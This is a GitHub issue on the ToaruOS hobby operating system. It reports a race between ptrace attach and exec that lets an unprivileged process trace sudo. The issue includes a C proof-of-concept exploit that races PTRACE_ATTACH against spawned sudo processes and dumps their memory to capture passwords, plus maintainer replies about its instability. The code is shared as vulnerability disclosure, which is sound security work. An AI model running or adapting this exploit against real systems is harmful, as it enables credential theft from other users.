Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Race condition between ptrace and elf_exec #304

Open
robbert1978 opened this issue Dec 30, 2024 · 3 comments
Open

Race condition between ptrace and elf_exec #304

robbert1978 opened this issue Dec 30, 2024 · 3 comments
Labels

Comments

@robbert1978
Copy link

robbert1978 commented Dec 30, 2024

In elf_exec, there is a small window between ptrace attach to the process and before it checks is that process is attached
So, sometimes a privileged process is traced by an unprivileged process.

POC (Updated) :

#include "unistd.h"
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/signal.h>
#include <sys/signal_defs.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysfunc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uregs.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <syscall_nums.h>
#include <string.h>

struct regs regs;

void child() {
  char *argv[] = {"/bin/sudo", "ls", NULL};
  if (execvp(argv[0], argv) < 0) {
    perror("execve");
  }
  _exit(0);
}

int read_bytes(pid_t pid, void *addr, char *buffer, size_t len) {
  if (!buffer) {
    fprintf(stderr, "Buffer is NULL.\n");
    return -1;
  }

  for (size_t i = 0; i < len; i++) {
    unsigned char byte;
    long ret = ptrace(PTRACE_PEEKDATA, pid, (char *)addr + i, &byte);

    if (ret < 0) {
      perror("nooo");
      return -1;
    }

    buffer[i] = byte; // Store the read byte into the buffer.
  }

  return 0;
}

int is_printable(unsigned char c) { return (c >= 0x20 && c <= 0x7E); }

void hexdump(const unsigned char *buffer, size_t length, size_t base_address)
{
  if (!buffer) {
    fprintf(stderr, "Buffer is NULL.\n");
    return;
  }

  size_t i, j;
  for (i = 0; i < length; i += 16) {
    // Print the address offset
    printf("%08zx  ", base_address + i);

    // Print the hex values
    for (j = 0; j < 16; j++) {
      if (i + j < length) {
        printf("%02x ", buffer[i + j]);
      } else {
        printf("   "); // Fill space for incomplete lines
      }
    }

    printf(" "); // Spacer between hex and ASCII

    // Print the ASCII representation
    for (j = 0; j < 16; j++) {
      if (i + j < length) {
        unsigned char c = buffer[i + j];
        printf("%c", is_printable(c) ? c : '.');
      }
    }

    printf("\n");
    fflush(stdout); // Ensure the output is flushed immediately
  }
}

int main(int argc, char** argv, char** envp) {
  int Tpid;
  while (1) {
	for(int try = 0; try < 100 ; try++){
		int pid = fork();
		if (pid == 0) {
		  child();
		}
		usleep(10);
		if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == 0) {
		  Tpid = pid;
		  goto have_Tpid;
		}
	}
	puts("Try harder!");
	sleep(2);
  }

have_Tpid:

  system("ps -A fau");
  printf("pid: %d\n", Tpid);

  if (syscall_kill(Tpid, 9) >= 0) {
    puts("NOO");
	system("clear");
    execvp("/bin/x", argv);
	return -1;
  }
  int recv = 0;
  _Bool opened = 0;
  int passfd = -1;
  while (1) {	
    if (regs.rax == SYS_READ && regs.rdi >=2) {
      puts("Maybe read pass");
      printf("rip = 0x%lx, rdi = 0x%lx, rsi = 0x%lx, rdx = 0x%lx, rsp=0x%lx,"
             "rbp = 0x%lx\n",
             regs.rip, regs.rdi, regs.rsi, regs.rdx, regs.rsp, regs.rbp);
      char buf[0x2000] = {0};
      if (read_bytes(Tpid, (void *)(regs.rsi & ~0xfffULL), buf, 0x2000) == 0) {
        hexdump(buf, 0x1000, (void *)(regs.rsi & ~0xfffULL));
        puts(buf);
	  }
	  
    }
next:	

    ptrace(PTRACE_CONT, Tpid, NULL, NULL);
    recv++;
  }

  return 0;
}

By tracing the sudo process, the un-privileged process can leak many users' passwords:

image

@klange klange added the kernel label Dec 30, 2024
@klange
Copy link
Owner

klange commented Dec 30, 2024

Clever - that is, indeed, a very small window!

This might be easily defeated with a small bit of locking around process creation, which is sorely needed anyway...

Unfortunately, my bandwidth (and, worse, interest) in working on ToaruOS is quite low at the moment, so it is unlikely I'll be able to implement a mitigation any time soon. Security in ToaruOS is largely theater anyway - enough to prevent benign software from making obvious mistakes, but there are a great many TOCTOU errors (and immensely more of them ever since SMP support was added).

@klange
Copy link
Owner

klange commented Dec 31, 2024

This is such a tight window I wasn't able to get the PoC to work - but it did routinely exhaust memory from the hundreds of sudo processes (I really need to get around to implementing file mappings with CoW), or instigating a kernel crash related to PTY blocking (yikes... might make a separate ticket for that).

@robbert1978
Copy link
Author

robbert1978 commented Dec 31, 2024

Ah, this race exploit is so unstable. I had to run the exploit about 6 times ( Each time I had to reboot the OS ).

I tried to stabilize the exploitation but ... skill issue :))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants